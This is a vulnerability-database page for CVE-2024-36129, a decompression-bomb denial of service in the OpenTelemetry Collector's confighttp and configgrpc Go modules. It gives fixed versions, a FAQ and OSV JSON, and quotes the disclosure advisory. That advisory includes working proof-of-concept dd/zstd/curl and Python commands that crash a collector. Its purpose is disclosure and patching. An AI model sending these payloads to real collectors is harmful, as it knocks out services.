Vulnerabilities in pkg:golang/go.opentelemetry.io/collector/config/configgrpc

PACKAGE
Advisory Identifier: GHSA-c74f-6mfw-mm4v
Advisory Summary

CVE-2024-36129 is a HIGH (CVSS 8.2) denial of service vulnerability (CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer) affecting Go.opentelemetry.io/collector/config/confighttp libraries in the Go ecosystem. The issue involves denial of service via zip/decompression bomb sent over http or grpc. Remediation is available by upgrading affected packages to version 0.102.0, 0.102.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/go.opentelemetry.io/collector/config/configgrpc

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/go.opentelemetry.io/collector/config/configgrpc. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-c74f-6mfw-mm4v CVE-2024-36129 HIGH Denial of Service via Zip/Decompression Bomb sent over HTTP or gRPC

CVE-2024-36129 at a Glance

CVE Identifier CVE-2024-36129
GHSA Identifier GHSA-c74f-6mfw-mm4v
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Affected Product Go.opentelemetry.io/collector/config/confighttp
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2024-36129

To remediate this vulnerability, upgrade all affected Go.opentelemetry.io/collector/config/confighttp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

go.opentelemetry.io/collector/config/confighttp fixed: 0.102.0
Upgrade go.opentelemetry.io/collector/config/confighttp to 0.102.0
go.opentelemetry.io/collector/config/configgrpc fixed: 0.102.1
Upgrade go.opentelemetry.io/collector/config/configgrpc to 0.102.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for go.opentelemetry.io/collector/config/confighttp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-36129, inspect your project dependencies for Go.opentelemetry.io/collector/config/confighttp:

inspect dependencies for go.opentelemetry.io/collector/config/confighttp

Analyze the terminal output to locate any version of Go.opentelemetry.io/collector/config/confighttp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.102.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer, where the product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. this may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. In Go.opentelemetry.io/collector/config/confighttp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unsafe decompression vulnerability allows unauthenticated attackers to crash the collector via excessive memory consumption. ### Details The OpenTelemetry Collector handles compressed HTTP requests by recognizing the Content-Encoding header, rewriting the HTTP request body, and allowing subsequent handlers to process decompressed data. It supports the gzip, zstd, zlib, snappy, and deflate compression algorithms. A "zip bomb" or "decompression bomb" is a malicious archive designed to crash or disable the system reading it. Decompression of HTTP requests is typically not enabled by default in popular server solutions due to associated security risks. A malicious attacker could leverage this weakness to crash the collector by sending a small request that, when uncompressed by the server, results in excessive memory consumption. During proof-of-concept (PoC) testing, all supported compression algorithms could be abused, with zstd causing the most significant impact. Compressing 10GB of all-zero data reduced it to 329KB. Sending an HTTP request with this compressed data instantly consumed all available server memory (the testing server had 32GB), leading to an out-of-memory (OOM) kill of the collector application instance. The root cause for this issue can be found in the following code path: **Affected File:** [https://github.com/open-telemetry/opentelemetry-collector/[...]confighttp/compression.go](https://github.com/open-telemetry/opentelemetry-collector/blob/062d0a7ffcd45831f993d21d1c6fb67d3e74b5e2/config/confighttp/compression.go) **Affected Code:** ``` // httpContentDecompressor offloads the task of handling compressed HTTP requests // by identifying the compression format in the "Content-Encoding" header and re-writing // request body so that the handlers further in the chain can work on decompressed data. // It supports gzip and deflate/zlib compression. func httpContentDecompressor(h http.Handler, eh func(w http.ResponseWriter, r *http.Request, errorMsg string, statusCode int), decoders map[string]func(body io.ReadCloser) (io.ReadCloser, error)) http.Handler { [...] d := &decompressor{ errHandler: errHandler, base: h, decoders: map[string]func(body io.ReadCloser) (io.ReadCloser, error){ "": func(io.ReadCloser) (io.ReadCloser, error) { // Not a compressed payload. Nothing to do. return nil, nil }, [...] "zstd": func(body io.ReadCloser) (io.ReadCloser, error) { zr, err := zstd.NewReader( body, zstd.WithDecoderConcurrency(1), ) if err != nil { return nil, err } return zr.IOReadCloser(), nil }, [...] } func (d *decompressor) ServeHTTP(w http.ResponseWriter, r *http.Request) { newBody, err := d.newBodyReader(r) if err != nil { d.errHandler(w, r, err.Error(), http.StatusBadRequest) return } [...] d.base.ServeHTTP(w, r) } func (d *decompressor) newBodyReader(r *http.Request) (io.ReadCloser, error) { encoding := r.Header.Get(headerContentEncoding) decoder, ok := d.decoders[encoding] if !ok { return nil, fmt.Errorf("unsupported %s: %s", headerContentEncoding, encoding) } return decoder(r.Body) } ``` To mitigate this attack vector, it is recommended to either disable support for decompressing client HTTP requests entirely or limit the size of the decompressed data that can be processed. Limiting the decompressed data size can be achieved by wrapping the decompressed data reader inside an io.LimitedReader, which restricts the reading to a specified number of bytes. This approach helps prevent excessive memory usage and potential out-of-memory errors caused by decompression bombs. ### PoC This issue was confirmed as follows: **PoC Commands:** ``` dd if=/dev/zero bs=1G count=10 | zstd > poc.zst curl -vv "http://192.168.0.107:4318/v1/traces" -H "Content-Type: application/x-protobuf" -H "Content-Encoding: zstd" --data-binary @poc.zst ``` **Output:** ``` 10+0 records in 10+0 records out 10737418240 bytes (11 GB, 10 GiB) copied, 12,207 s, 880 MB/s * processing: http://192.168.0.107:4318/v1/traces * Trying 192.168.0.107:4318... * Connected to 192.168.0.107 (192.168.0.107) port 4318 > POST /v1/traces HTTP/1.1 > Host: 192.168.0.107:4318 > User-Agent: curl/8.2.1 > Accept: */* > Content-Type: application/x-protobuf > Content-Encoding: zstd > Content-Length: 336655 > * We are completely uploaded and fine * Recv failure: Connection reset by peer * Closing connection curl: (56) Recv failure: Connection reset by peer ``` **Server logs:** ``` otel-collector-1 | 2024-05-30T18:36:14.376Z info service@v0.101.0/service.go:102 Setting up own telemetry... [...] otel-collector-1 | 2024-05-30T18:36:14.385Z info otlpreceiver@v0.101.0/otlp.go:152 Starting HTTP server {"kind": "receiver", "name": "otlp", "data_type": "traces", "endpoint": "0.0.0.0:4318"} otel-collector-1 | 2024-05-30T18:36:14.385Z info service@v0.101.0/service.go:195 Everything is ready. Begin running and processing data. otel-collector-1 | 2024-05-30T18:36:14.385Z warn localhostgate/featuregate.go:63 The default endpoints for all servers in components will change to use localhost instead of 0.0.0.0 in a future version. Use the feature gate to preview the new default. {"feature gate ID": "component.UseLocalHostAsDefaultHost"} otel-collector-1 exited with code 137 ``` A similar problem exists for configgrpc when using the zstd compression: ``` dd if=/dev/zero bs=1G count=10 | zstd > poc.zst python3 -c 'import os, struct; f = open("/tmp/body.raw", "w+b"); f.write(b"\x01"); f.write(struct.pack(">L", os.path.getsize("poc.zst"))); f.write(open("poc.zst", "rb").read())' curl -vv http://127.0.0.1:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export --http2-prior-knowledge -H "content-type: application/grpc" -H "grpc-encoding: zstd" --data-binary @/tmp/body.raw ``` ### Impact Unauthenticated attackers can crash the collector via excessive memory consumption, stopping the entire collection of telemetry. ### Patches - The confighttp module version 0.102.0 contains a fix for this problem. - The configgrpc module version 0.102.1 contains a fix for this problem. - All official OTel Collector distributions starting with v0.102.1 contain both fixes. ### Workarounds - None. ### References - https://github.com/open-telemetry/opentelemetry-collector/pull/10289 - https://github.com/open-telemetry/opentelemetry-collector/pull/10323 - https://opentelemetry.io/blog/2024/cve-2024-36129/ ### Credits This issue was uncovered during a security audit performed by 7ASecurity, facilitated by OSTIF, for the OpenTelemetry project.

CVE-2024-36129 Affected Go.opentelemetry.io/collector/config/confighttp Versions

2 component(s)
Fixed Versions:
0.102.00.102.1
Product / Package Ecosystem Affected Versions Fixed Version
go.opentelemetry.io/collector/config/confighttp
Go
< 0.102.0
0.102.0
go.opentelemetry.io/collector/config/configgrpc
Go
< 0.102.1
0.102.1

References

Frequently Asked Questions

What is CVE-2024-36129?
CVE-2024-36129 is a security vulnerability in Go.opentelemetry.io/collector/config/confighttp involving Denial of Service via Zip/Decompression Bomb sent over HTTP or gRPC under CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.
Which Go.opentelemetry.io/collector/config/confighttp versions are affected?
Affected versions include releases prior to 0.102.0, 0.102.1 across affected packages: go.opentelemetry.io/collector/config/confighttp, go.opentelemetry.io/collector/config/configgrpc.
What version fixes CVE-2024-36129?
Upgrading to 0.102.0, 0.102.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is go.opentelemetry.io/collector/config/confighttp affected?
Yes, go.opentelemetry.io/collector/config/confighttp is affected in releases prior to 0.102.0. Upgrade your dependency to 0.102.0 or later.
Is go.opentelemetry.io/collector/config/configgrpc affected?
Yes, go.opentelemetry.io/collector/config/configgrpc is affected in releases prior to 0.102.1. Upgrade your dependency to 0.102.1 or later.
What is the CVSS score of CVE-2024-36129?
CVE-2024-36129 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H.
What CWE is associated with CVE-2024-36129?
CVE-2024-36129 is classified under CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.).
How can I check Go dependencies for CVE-2024-36129?
Run the dependency tree command: 'inspect dependencies for go.opentelemetry.io/collector/config/confighttp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c74f-6mfw-mm4v",
  "modified" : "2024-06-17T15:20:43Z",
  "published" : "2024-06-05T16:56:19Z",
  "aliases" : [ "CVE-2024-36129" ],
  "summary" : "Denial of Service via Zip/Decompression Bomb sent over HTTP or gRPC",
  "details" : "### Summary\nAn unsafe decompression vulnerability allows unauthenticated attackers to crash the collector via excessive memory consumption.\n\n### Details\nThe OpenTelemetry Collector handles compressed HTTP requests by recognizing the Content-Encoding header, rewriting the HTTP request body, and allowing subsequent handlers to process decompressed data. It supports the gzip, zstd, zlib, snappy, and deflate compression algorithms. A \"zip bomb\" or \"decompression bomb\" is a malicious archive designed to crash or disable the system reading it. Decompression of HTTP requests is typically not enabled by default in popular server solutions due to associated security risks. A malicious attacker could leverage this weakness to crash the collector by sending a small request that, when uncompressed by the server, results in excessive memory consumption.\n\nDuring proof-of-concept (PoC) testing, all supported compression algorithms could be abused, with zstd causing the most significant impact. Compressing 10GB of all-zero data reduced it to 329KB. Sending an HTTP request with this compressed data instantly consumed all available server memory (the testing server had 32GB), leading to an out-of-memory (OOM) kill of the collector application instance.\n\nThe root cause for this issue can be found in the following code path:\n\n**Affected File:**\n[https://github.com/open-telemetry/opentelemetry-collector/[...]confighttp/compression.go](https://github.com/open-telemetry/opentelemetry-collector/blob/062d0a7ffcd45831f993d21d1c6fb67d3e74b5e2/config/confighttp/compression.go) \n\n**Affected Code:**\n```\n// httpContentDecompressor offloads the task of handling compressed HTTP requests\n// by identifying the compression format in the \"Content-Encoding\" header and re-writing\n// request body so that the handlers further in the chain can work on decompressed data.\n// It supports gzip and deflate/zlib compression.\nfunc httpContentDecompressor(h http.Handler, eh func(w http.ResponseWriter, r *http.Request, errorMsg string, statusCode int), decoders map[string]func(body io.ReadCloser) (io.ReadCloser, error)) http.Handler {\n    [...]\n    d := &decompressor{\n        errHandler: errHandler,\n        base:   \th,\n        decoders: map[string]func(body io.ReadCloser) (io.ReadCloser, error){\n            \"\": func(io.ReadCloser) (io.ReadCloser, error) {\n                // Not a compressed payload. Nothing to do.\n                return nil, nil\n            },\n            [...]\n            \"zstd\": func(body io.ReadCloser) (io.ReadCloser, error) {\n                zr, err := zstd.NewReader(\n                    body,\n                    zstd.WithDecoderConcurrency(1),\n                )\n                if err != nil {\n                    return nil, err\n                }\n                return zr.IOReadCloser(), nil\n            },\n    [...]\n}\n\nfunc (d *decompressor) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n    newBody, err := d.newBodyReader(r)\n    if err != nil {\n        d.errHandler(w, r, err.Error(), http.StatusBadRequest)\n        return\n    }\n    [...]\n    d.base.ServeHTTP(w, r)\n}\n\nfunc (d *decompressor) newBodyReader(r *http.Request) (io.ReadCloser, error) {\n    encoding := r.Header.Get(headerContentEncoding)\n    decoder, ok := d.decoders[encoding]\n    if !ok {\n        return nil, fmt.Errorf(\"unsupported %s: %s\", headerContentEncoding, encoding)\n    }\n    return decoder(r.Body)\n}\n```\n\nTo mitigate this attack vector, it is recommended to either disable support for decompressing client HTTP requests entirely or limit the size of the decompressed data that can be processed. Limiting the decompressed data size can be achieved by wrapping the decompressed data reader inside an io.LimitedReader, which restricts the reading to a specified number of bytes. This approach helps prevent excessive memory usage and potential out-of-memory errors caused by decompression bombs.\n\n### PoC\nThis issue was confirmed as follows:\n\n**PoC Commands:**\n```\ndd if=/dev/zero bs=1G count=10 | zstd > poc.zst\ncurl -vv \"http://192.168.0.107:4318/v1/traces\" -H \"Content-Type: application/x-protobuf\" -H \"Content-Encoding: zstd\" --data-binary @poc.zst\n```\n\n**Output:**\n```\n10+0 records in\n10+0 records out\n10737418240 bytes (11 GB, 10 GiB) copied, 12,207 s, 880 MB/s\n\n* processing: http://192.168.0.107:4318/v1/traces\n*   Trying 192.168.0.107:4318...\n* Connected to 192.168.0.107 (192.168.0.107) port 4318\n> POST /v1/traces HTTP/1.1\n> Host: 192.168.0.107:4318\n> User-Agent: curl/8.2.1\n> Accept: */*\n> Content-Type: application/x-protobuf\n> Content-Encoding: zstd\n> Content-Length: 336655\n>\n* We are completely uploaded and fine\n* Recv failure: Connection reset by peer\n* Closing connection\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n**Server logs:**\n```\notel-collector-1  | 2024-05-30T18:36:14.376Z    info    service@v0.101.0/service.go:102    Setting up own telemetry...\n[...]\notel-collector-1  | 2024-05-30T18:36:14.385Z    info    otlpreceiver@v0.101.0/otlp.go:152    Starting HTTP server    {\"kind\": \"receiver\", \"name\": \"otlp\", \"data_type\": \"traces\", \"endpoint\": \"0.0.0.0:4318\"}\notel-collector-1  | 2024-05-30T18:36:14.385Z    info    service@v0.101.0/service.go:195    Everything is ready. Begin running and processing data.\notel-collector-1  | 2024-05-30T18:36:14.385Z    warn    localhostgate/featuregate.go:63    The default endpoints for all servers in components will change to use localhost instead of 0.0.0.0 in a future version. Use the feature gate to preview the new default.    {\"feature gate ID\": \"component.UseLocalHostAsDefaultHost\"}\notel-collector-1 exited with code 137\n```\n\nA similar problem exists for configgrpc when using the zstd compression:\n\n```\ndd if=/dev/zero bs=1G count=10 | zstd > poc.zst\npython3 -c 'import os, struct; f = open(\"/tmp/body.raw\", \"w+b\"); f.write(b\"\\x01\"); f.write(struct.pack(\">L\", os.path.getsize(\"poc.zst\"))); f.write(open(\"poc.zst\", \"rb\").read())'\ncurl -vv http://127.0.0.1:4317/opentelemetry.proto.collector.trace.v1.TraceService/Export --http2-prior-knowledge -H \"content-type: application/grpc\" -H \"grpc-encoding: zstd\" --data-binary @/tmp/body.raw\n```\n\n### Impact\nUnauthenticated attackers can crash the collector via excessive memory consumption, stopping the entire collection of telemetry.\n\n### Patches\n- The confighttp module version 0.102.0 contains a fix for this problem.\n- The configgrpc module version 0.102.1 contains a fix for this problem.\n- All official OTel Collector distributions starting with v0.102.1 contain both fixes.\n\n### Workarounds\n- None.\n\n### References\n- https://github.com/open-telemetry/opentelemetry-collector/pull/10289\n- https://github.com/open-telemetry/opentelemetry-collector/pull/10323\n- https://opentelemetry.io/blog/2024/cve-2024-36129/\n\n### Credits\nThis issue was uncovered during a security audit performed by 7ASecurity, facilitated by OSTIF, for the OpenTelemetry project.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/collector/config/confighttp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.102.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/collector/config/configgrpc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.102.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector/security/advisories/GHSA-c74f-6mfw-mm4v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-36129"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector/pull/10289"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector/pull/10323"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-telemetry/opentelemetry-collector"
  }, {
    "type" : "WEB",
    "url" : "https://opentelemetry.io/blog/2024/cve-2024-36129"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2024-2900"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-119" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-06-05T16:56:19Z",
    "nvd_published_at" : "2024-06-05T18:15:10Z"
  }
}